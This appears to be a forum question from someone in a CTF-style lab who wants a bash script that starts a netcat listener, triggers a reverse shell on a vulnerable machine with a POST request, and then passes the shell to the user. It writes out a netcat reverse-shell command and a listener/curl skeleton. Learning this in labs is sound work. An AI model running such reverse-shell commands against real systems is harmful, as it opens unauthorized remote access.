title: Reverse shells and bash
body: <p>I'm doing an exercise (basically just a CTF), where we do some exploits of some vulnerable machines. For example, by sending a specially crafted post request, we can make it execute for example</p>
  
  <pre><code>nc -e /bin/bash 10.0.0.2 2546
  </code></pre>
  
  <p>What I want to do, is to script my way out of this, to make it easier. </p>
  
  <ol>
  <li>Setup a listener for a specific port</li>
  <li>Send a post request to make the machine connect back</li>
  <li>Send arbitrary data to the server, e.g. to escalate privileges.</li>
  <li>Present user with the shell (e.g. which is sent through nc)</li>
  </ol>
  
  <p>This is not a post on how to either hack it or escalate privileges, but my scripting capabilities (especially in bash!) is not the best. </p>
  
  <p>The problem is when I reach step 2. For obvious reason, I can't start <code>nc -lvp 1234</code> before sending the post request, since it blocks. And I'm faily sure multithreading in bash is not possible (...somebody have probably made it though.)</p>
  
  <pre><code>nc -lp $lp &amp; # Run in background - probably not a good solution
  curl -X POST $url --data "in_command=do_dirty_stuff" # Send data  
  * MAGIC CONNECTION *
  </code></pre>
  
  <p>And let's say that I actually succeed with a connection back home, how would I manage to send data from my script, though netcat, before presenting the user with a working shell? Maybe something with piping the netcat data to a file, and use that as a "buffer"?</p>
  
  <p>I know there is a lot of questions, and it can't be answered with one answer, but I'd like to hear more about how people would do that. OR if it's completely ridiculous to do in bash. </p>